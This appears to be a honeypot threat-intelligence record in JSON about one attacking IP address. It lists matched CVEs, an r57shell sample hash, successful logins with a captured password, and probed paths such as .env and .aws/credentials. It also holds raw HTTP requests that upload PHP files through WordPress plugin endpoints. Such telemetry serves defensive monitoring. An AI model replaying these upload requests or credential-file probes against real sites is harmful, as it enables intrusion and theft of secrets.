{"ip":"45.156.87.28","data_as_of":"2026-10-21T14:58:23+00:00","observed":true,"total_events":0,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"2 interactive login(s) succeeded","confidence":"high","network_type":null,"why":["2 interactive session(s) logged in successfully.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","Not in any known-scanner range.","Sent 89,959 bytes, which is sustained payload delivery.","Held a session open for 75s, against a median of well under a second."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"89,959 bytes sent, longest session 75s","bytes_sent":89959,"session_seconds":75,"persistent":true},"basis":"interactive"},"first_seen":"2026-10-20T23:34:57","last_seen":"2026-10-20T23:36:09","events_24h":0,"events_7d":0,"interactive_sessions":49,"interactive_sessions_24h":49,"interactive_sessions_7d":49,"interactive_protocols":[{"protocol":"smtp","sessions":31},{"protocol":"http","sessions":15},{"protocol":"ftp","sessions":1},{"protocol":"ssh","sessions":1}],"geo":{"country_code":"NL","country_name":"The Netherlands","region":"","city":"","lat":null,"lon":null,"asn":197170,"org":"TechTies Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"interactive_session","matched_pattern":"","confirmed_by":"interactive_session","sessions":2,"kev_date_added":"2022-02-15"},{"cve_id":"CVE-2015-1579","title":"WordPress Slider Revolution - Local File Disclosure","severity":"medium","actively_exploited":false,"match_field":"interactive_session","matched_pattern":"","confirmed_by":"interactive_session","sessions":1,"kev_date_added":null}],"malware":[{"sha256":"76a19edf9adea91f391d8f43029482bcc38ac464f60779099f4d30f63a28522c","family":"r57shell","vt_name":"shell-r57.txt","malicious":36,"total":75,"vt_status":"uploaded","delivery":"b64","url_path":"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","dest_port":443,"hits":4,"last_seen":"2026-10-20 23:35:35"}],"udp":null,"interaction":{"window_days":90,"sessions":49,"first_seen":"2026-10-20T23:34:57","last_seen":"2026-10-20T23:36:09","verdicts":[{"verdict":"scan","sessions":39},{"verdict":"exploit-attempt","sessions":7},{"verdict":"credential","sessions":2},{"verdict":"unknown","sessions":1}],"personas":[{"persona":"smtp@3.8.6","sessions":31},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5","sessions":12},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5, docker@25.0.3","sessions":2},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, dlink-dir645@1.01, fortigate@7.0.5","sessions":1},{"persona":"ftp@3.0.5","sessions":1},{"persona":"linux-ubuntu@24.04","sessions":1}],"services":[{"protocol":"smtp","port":587,"sessions":31},{"protocol":"http","port":443,"sessions":12},{"protocol":"tcp","port":44720,"sessions":1},{"protocol":"http","port":2083,"sessions":1},{"protocol":"ssh","port":22,"sessions":1},{"protocol":"ftp","port":21,"sessions":1},{"protocol":"http","port":80,"sessions":1},{"protocol":"http","port":2087,"sessions":1}],"logins":[{"username":"portal","password":"Sh0pfr0nt!2024","password_sent":true,"service":"ftp-login","outcome":"success","tries":1,"last_seen":"2026-10-20T23:34:58"},{"username":"portal","password":"Sh0pfr0nt!2024","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-20T23:34:54"}],"commands":[],"downloads":[],"files":[{"sha256":"e962153239c7dd522531cff61e8802dfe5213bdf810e3f93346b18122071b35e","name":"phpunit-eval-stdin","size":713,"mime_type":"text/x-php","kind":"payload","times":1,"first_seen":"2026-10-20T23:35:35","last_seen":"2026-10-20T23:35:35","virustotal":null},{"sha256":"075368f947e7b5399efee4f002b99c8cdc704276e63b46adae9a46256ddf1eb8","name":"phpunit-eval-stdin","size":19,"mime_type":"text/x-php","kind":"payload","times":1,"first_seen":"2026-10-20T23:35:35","last_seen":"2026-10-20T23:35:35","virustotal":{"sha256":"075368f947e7b5399efee4f002b99c8cdc704276e63b46adae9a46256ddf1eb8","status":"known","malicious":0,"total":75,"name":"phpinfo.php"}},{"sha256":"091b104602f5b9d42d4fb4882b38a36e8da4bf3a9269fb18fc2e9557269ca41c","name":"listing","size":266,"mime_type":"text/plain","kind":"ftp-listing","times":1,"first_seen":"2026-10-20T23:34:58","last_seen":"2026-10-20T23:34:58","virustotal":null}],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":45},{"technique_id":"T1190","technique_name":"Exploit Public-Facing Application","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":7},{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":2},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":2}]},"top_ports":[{"port":587,"proto":"tcp","label":"SMTP","count":0,"sessions":31},{"port":443,"proto":"tcp","label":"HTTPS","count":0,"sessions":12},{"port":21,"proto":"tcp","label":"FTP","count":0,"sessions":1},{"port":22,"proto":"tcp","label":"SSH","count":0,"sessions":1},{"port":80,"proto":"tcp","label":"HTTP","count":0,"sessions":1},{"port":2083,"proto":"tcp","label":"HTTP","count":0,"sessions":1},{"port":2087,"proto":"tcp","label":"HTTP","count":0,"sessions":1},{"port":44720,"proto":"tcp","label":"","count":0,"sessions":1}],"fingerprints":{"ssh_hassh":["7b632b131f66843b3829f2835f521e15"],"tls_ja4":["t13i221000_231e334592e8_36bf25f296df","t13i221100_231e334592e8_89322cc15493"],"tls_client_hello":"","tls_ja3":["41279303b8b5babd1a57a11156ce11d1","8b017ed58d265d4bb85a29a74d48a6d4"],"http_akin":[],"interactive":{"ssh_hassh":["7b632b131f66843b3829f2835f521e15"],"tls_ja4":["t13i221000_231e334592e8_36bf25f296df","t13i221100_231e334592e8_89322cc15493"],"tls_ja3":["41279303b8b5babd1a57a11156ce11d1","8b017ed58d265d4bb85a29a74d48a6d4"]}},"fingerprint_peers":{"t13i221000_231e334592e8_36bf25f296df":9,"t13i221100_231e334592e8_89322cc15493":0,"7b632b131f66843b3829f2835f521e15":0},"akin_families":{},"user_agents":["Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Mozilla/5.0 (iPhone; CPU iPhone OS 18_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0","Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0","Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0","Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Safari/605.1.15","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0","Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; Win64; x64) Firefox/120.0"],"timeline":[{"date":"2026-10-20","count":0,"sessions":49}],"recent_events":[{"timestamp":"2026-10-20T23:35:39","port":2087,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"content-length\":\"20\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:2087\",\"user-agent\":\"Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36\"}","body":"user=root&pass=wrong","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"1.3","alpn":[],"url_path":"/login/","summary":"","payload_hex":"504f5354202f6c6f67696e2f3f6c6f67696e5f6f6e6c793d3120485454502f312e310d0a486f73743a203c484f4e4559504f543e3a323038370d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284c696e75783b20416e64726f69642031343b20534d2d533931384229204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133312e302e302e30204d6f62696c65205361666172692f3533372e33360d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a2032300d0a0d0a757365723d726f6f7426706173733d77726f6e67","method":"POST","user_agent":"Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36","ja3":"8b017ed58d265d4bb85a29a74d48a6d4","session":"b992e535-37c5-4947-9dc0-90fb7d13f415-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-20T23:35:39","port":443,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"1.3","alpn":[],"url_path":"/wp-content/uploads/pentest_proof_27c5df.php","summary":"","payload_hex":"474554202f77702d636f6e74656e742f75706c6f6164732f70656e746573745f70726f6f665f3237633564662e70687020485454502f312e310d0a486f73743a203c484f4e4559504f543e0d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3132392e302e302e30205361666172692f3533372e3336204564672f3132392e302e302e300d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0","ja3":"8b017ed58d265d4bb85a29a74d48a6d4","session":"b2185c95-1704-48ed-9e13-4f0251a71d3e-171","seq":171,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-20T23:35:39","port":443,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"content-length\":\"388\",\"content-type\":\"multipart/form-data; boundary=\\\"0f7feb1e-81b8-4ae0-9697-db1a5971a1f5\\\"\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36\"}","body":"--0f7feb1e-81b8-4ae0-9697-db1a5971a1f5\r\nContent-Type: application/x-php\r\nContent-Disposition: form-data; name=file; filename=pentest_proof_27c5df.php; filename*=utf-8''pentest_proof_27c5df.php\r\n\r\n<?php echo '<b>VULNERABILITY DETECTED!</b><br>Your website is vuln. Contact blue team https://pentest-tools.com/ now and update ur webapp fast.'; ?>\r\n--0f7feb1e-81b8-4ae0-9697-db1a5971a1f5--\r\n","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"1.3","alpn":[],"url_path":"/wp-admin/admin-ajax.php","summary":"","payload_hex":"504f5354202f77702d61646d696e2f61646d696e2d616a61782e7068703f616374696f6e3d75706c6f61645f66696c655f746573745f706f6320485454502f312e310d0a486f73743a203c484f4e4559504f543e0d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133302e302e302e30205361666172692f3533372e33360d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2230663766656231652d383162382d346165302d393639372d646231613539373161316635220d0a436f6e74656e742d4c656e6774683a203338380d0a0d0a2d2d30663766656231652d383162382d346165302d393639372d6462316135393731613166350d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7068700d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d66696c653b2066696c656e616d653d70656e746573745f70726f6f665f3237633564662e7068703b2066696c656e616d652a3d7574662d38272770656e746573745f70726f6f665f3237633564662e7068700d0a0d0a3c3f706870206563686f20273c623e56554c4e45524142494c495459204445544543544544213c2f623e3c62723e596f757220776562736974652069732076756c6e2e20436f6e7461637420626c7565207465616d2068747470733a2f2f70656e746573742d746f6f6c732e636f6d2f206e6f7720616e64207570646174652075722077656261707020666173742e273b203f3e0d0a2d2d30663766656231652d383162382d346165302d393639372d6462316135393731613166352d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36","ja3":"8b017ed58d265d4bb85a29a74d48a6d4","session":"b2185c95-1704-48ed-9e13-4f0251a71d3e-169","seq":169,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-20T23:35:38","port":443,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Safari/605.1.15\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"1.3","alpn":[],"url_path":"/wp-content/plugins/formcraft/file-upload/server/content/files/pentest_proof_27c5df.php","summary":"","payload_hex":"474554202f77702d636f6e74656e742f706c7567696e732f666f726d63726166742f66696c652d75706c6f61642f7365727665722f636f6e74656e742f66696c65732f70656e746573745f70726f6f665f3237633564662e70687020485454502f312e310d0a486f73743a203c484f4e4559504f543e0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3630352e312e313520284b48544d4c2c206c696b65204765636b6f292056657273696f6e2f31382e31205361666172692f3630352e312e31350d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Safari/605.1.15","ja3":"8b017ed58d265d4bb85a29a74d48a6d4","session":"66f605a4-0b00-41ff-b53f-6e9062735b10-175","seq":175,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-20T23:35:38","port":443,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"1.3","alpn":[],"url_path":"/wp-content/plugins/blueimp-jquery-file-upload/server/php/files/pentest_proof_27c5df.php","summary":"","payload_hex":"474554202f77702d636f6e74656e742f706c7567696e732f626c7565696d702d6a71756572792d66696c652d75706c6f61642f7365727665722f7068702f66696c65732f70656e746573745f70726f6f665f3237633564662e70687020485454502f312e310d0a486f73743a203c484f4e4559504f543e0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133312e302e302e30205361666172692f3533372e33360d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","ja3":"8b017ed58d265d4bb85a29a74d48a6d4","session":"6fc0a82c-b0bf-4ba9-a273-23c86bc76669-167","seq":167,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-20T23:35:38","port":443,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"1.3","alpn":[],"url_path":"/wp-content/uploads/pentest_proof_27c5df.php","summary":"","payload_hex":"474554202f77702d636f6e74656e742f75706c6f6164732f70656e746573745f70726f6f665f3237633564662e70687020485454502f312e310d0a486f73743a203c484f4e4559504f543e0d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133302e302e302e30205361666172692f3533372e33360d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36","ja3":"8b017ed58d265d4bb85a29a74d48a6d4","session":"09bdc238-9d01-432a-85d1-ae76ab7d2ab0-83","seq":83,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-20T23:35:38","port":443,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"1.3","alpn":[],"url_path":"/wp-content/uploads/pentest_proof_27c5df.php","summary":"","payload_hex":"474554202f77702d636f6e74656e742f75706c6f6164732f70656e746573745f70726f6f665f3237633564662e70687020485454502f312e310d0a486f73743a203c484f4e4559504f543e0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133312e302e302e30205361666172692f3533372e33360d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","ja3":"8b017ed58d265d4bb85a29a74d48a6d4","session":"236ef606-1d1d-4569-8dfc-2e0407c8f31f-165","seq":165,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-20T23:35:38","port":443,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"1.3","alpn":[],"url_path":"/wp-content/uploads/wpdiscuz/pentest_proof_27c5df.php","summary":"","payload_hex":"474554202f77702d636f6e74656e742f75706c6f6164732f777064697363757a2f70656e746573745f70726f6f665f3237633564662e70687020485454502f312e310d0a486f73743a203c484f4e4559504f543e0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020285831313b205562756e74753b204c696e7578207838365f36343b2072763a3133332e3029204765636b6f2f32303130303130312046697265666f782f3133332e300d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0","ja3":"8b017ed58d265d4bb85a29a74d48a6d4","session":"b2185c95-1704-48ed-9e13-4f0251a71d3e-167","seq":167,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-20T23:35:38","port":443,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"content-length\":\"393\",\"content-type\":\"multipart/form-data; boundary=\\\"51b38cbd-2b9b-4541-9359-35cbe44bd554\\\"\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36\"}","body":"--51b38cbd-2b9b-4541-9359-35cbe44bd554\r\nContent-Type: application/x-php\r\nContent-Disposition: form-data; name=\"files[]\"; filename=pentest_proof_27c5df.php; filename*=utf-8''pentest_proof_27c5df.php\r\n\r\n<?php echo '<b>VULNERABILITY DETECTED!</b><br>Your website is vuln. Contact blue team https://pentest-tools.com/ now and update ur webapp fast.'; ?>\r\n--51b38cbd-2b9b-4541-9359-35cbe44bd554--\r\n","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"1.3","alpn":[],"url_path":"/wp-content/plugins/formcraft/file-upload/server/content/upload.php","summary":"","payload_hex":"504f5354202f77702d636f6e74656e742f706c7567696e732f666f726d63726166742f66696c652d75706c6f61642f7365727665722f636f6e74656e742f75706c6f61642e70687020485454502f312e310d0a486f73743a203c484f4e4559504f543e0d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031312e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133302e302e302e30205361666172692f3533372e33360d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2235316233386362642d326239622d343534312d393335392d333563626534346264353534220d0a436f6e74656e742d4c656e6774683a203339330d0a0d0a2d2d35316233386362642d326239622d343534312d393335392d3335636265343462643535340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7068700d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c65735b5d223b2066696c656e616d653d70656e746573745f70726f6f665f3237633564662e7068703b2066696c656e616d652a3d7574662d38272770656e746573745f70726f6f665f3237633564662e7068700d0a0d0a3c3f706870206563686f20273c623e56554c4e45524142494c495459204445544543544544213c2f623e3c62723e596f757220776562736974652069732076756c6e2e20436f6e7461637420626c7565207465616d2068747470733a2f2f70656e746573742d746f6f6c732e636f6d2f206e6f7720616e64207570646174652075722077656261707020666173742e273b203f3e0d0a2d2d35316233386362642d326239622d343534312d393335392d3335636265343462643535342d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36","ja3":"8b017ed58d265d4bb85a29a74d48a6d4","session":"66f605a4-0b00-41ff-b53f-6e9062735b10-173","seq":173,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-20T23:35:38","port":443,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"content-length\":\"388\",\"content-type\":\"multipart/form-data; boundary=\\\"a3ff2986-70fa-4eb0-8a44-a4babfbf04fc\\\"\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (iPhone; CPU iPhone OS 18_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Mobile/15E148 Safari/604.1\"}","body":"--a3ff2986-70fa-4eb0-8a44-a4babfbf04fc\r\nContent-Type: application/x-php\r\nContent-Disposition: form-data; name=file; filename=pentest_proof_27c5df.php; filename*=utf-8''pentest_proof_27c5df.php\r\n\r\n<?php echo '<b>VULNERABILITY DETECTED!</b><br>Your website is vuln. Contact blue team https://pentest-tools.com/ now and update ur webapp fast.'; ?>\r\n--a3ff2986-70fa-4eb0-8a44-a4babfbf04fc--\r\n","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"1.3","alpn":[],"url_path":"/wp-admin/admin-ajax.php","summary":"","payload_hex":"504f5354202f77702d61646d696e2f61646d696e2d616a61782e7068703f616374696f6e3d6576656e746f6e5f75706c6f61645f66696c6520485454502f312e310d0a486f73743a203c484f4e4559504f543e0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020286950686f6e653b20435055206950686f6e65204f532031385f31206c696b65204d6163204f53205829204170706c655765624b69742f3630352e312e313520284b48544d4c2c206c696b65204765636b6f292056657273696f6e2f31382e31204d6f62696c652f313545313438205361666172692f3630342e310d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2261336666323938362d373066612d346562302d386134342d613462616266626630346663220d0a436f6e74656e742d4c656e6774683a203338380d0a0d0a2d2d61336666323938362d373066612d346562302d386134342d6134626162666266303466630d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7068700d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d66696c653b2066696c656e616d653d70656e746573745f70726f6f665f3237633564662e7068703b2066696c656e616d652a3d7574662d38272770656e746573745f70726f6f665f3237633564662e7068700d0a0d0a3c3f706870206563686f20273c623e56554c4e45524142494c495459204445544543544544213c2f623e3c62723e596f757220776562736974652069732076756c6e2e20436f6e7461637420626c7565207465616d2068747470733a2f2f70656e746573742d746f6f6c732e636f6d2f206e6f7720616e64207570646174652075722077656261707020666173742e273b203f3e0d0a2d2d61336666323938362d373066612d346562302d386134342d6134626162666266303466632d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (iPhone; CPU iPhone OS 18_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Mobile/15E148 Safari/604.1","ja3":"8b017ed58d265d4bb85a29a74d48a6d4","session":"236ef606-1d1d-4569-8dfc-2e0407c8f31f-163","seq":163,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true}],"http_methods":[{"method":"GET","count":527},{"method":"POST","count":25}],"distinct_ports_total":8,"top_paths":[{"path":"/","count":18,"ports":2},{"path":"/wp-admin/admin-ajax.php","count":13,"ports":1},{"path":"/wp-content/uploads/pentest_proof_27c5df.php","count":8,"ports":1},{"path":"/index.php","count":4,"ports":2},{"path":"/graphql","count":4,"ports":1},{"path":"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":3,"ports":1},{"path":"/storage/logs/laravel.log","count":3,"ports":1},{"path":"/.aws/credentials","count":3,"ports":1},{"path":"/.git/HEAD","count":3,"ports":1},{"path":"/.aws/config","count":3,"ports":1},{"path":"/api/graphql","count":3,"ports":1},{"path":"/config.json","count":3,"ports":1},{"path":"/login/","count":3,"ports":2},{"path":"/.env","count":3,"ports":1},{"path":"/.git/logs/refs/heads/master","count":2,"ports":1}],"distinct_paths_total":199,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Content-Length","value":"20","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded","notable":true},{"name":"Host","value":"<HONEYPOT>:2087","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"interactive_session","matched_pattern":"","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"],"confirmed_by":"interactive_session","sessions":2,"kev_date_added":"2022-02-15"},{"tag_id":"CVE-2015-1579","tag_type":"cve","title":"WordPress Slider Revolution - Local File Disclosure","severity":"medium","actively_exploited":false,"match_field":"interactive_session","matched_pattern":"","reference_urls":["https://blog.sucuri.net/2014/09/slider-revolution-plugin-critical-vulnerability-being-exploited.html","https://cxsecurity.com/issue/WLB-2021090129","https://wpscan.com/vulnerability/4b077805-5dc0-4172-970e-cc3d67964f80","https://nvd.nist.gov/vuln/detail/CVE-2015-1579","https://wpvulndb.com/vulnerabilities/7540"],"confirmed_by":"interactive_session","sessions":1,"kev_date_added":null},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":2}]}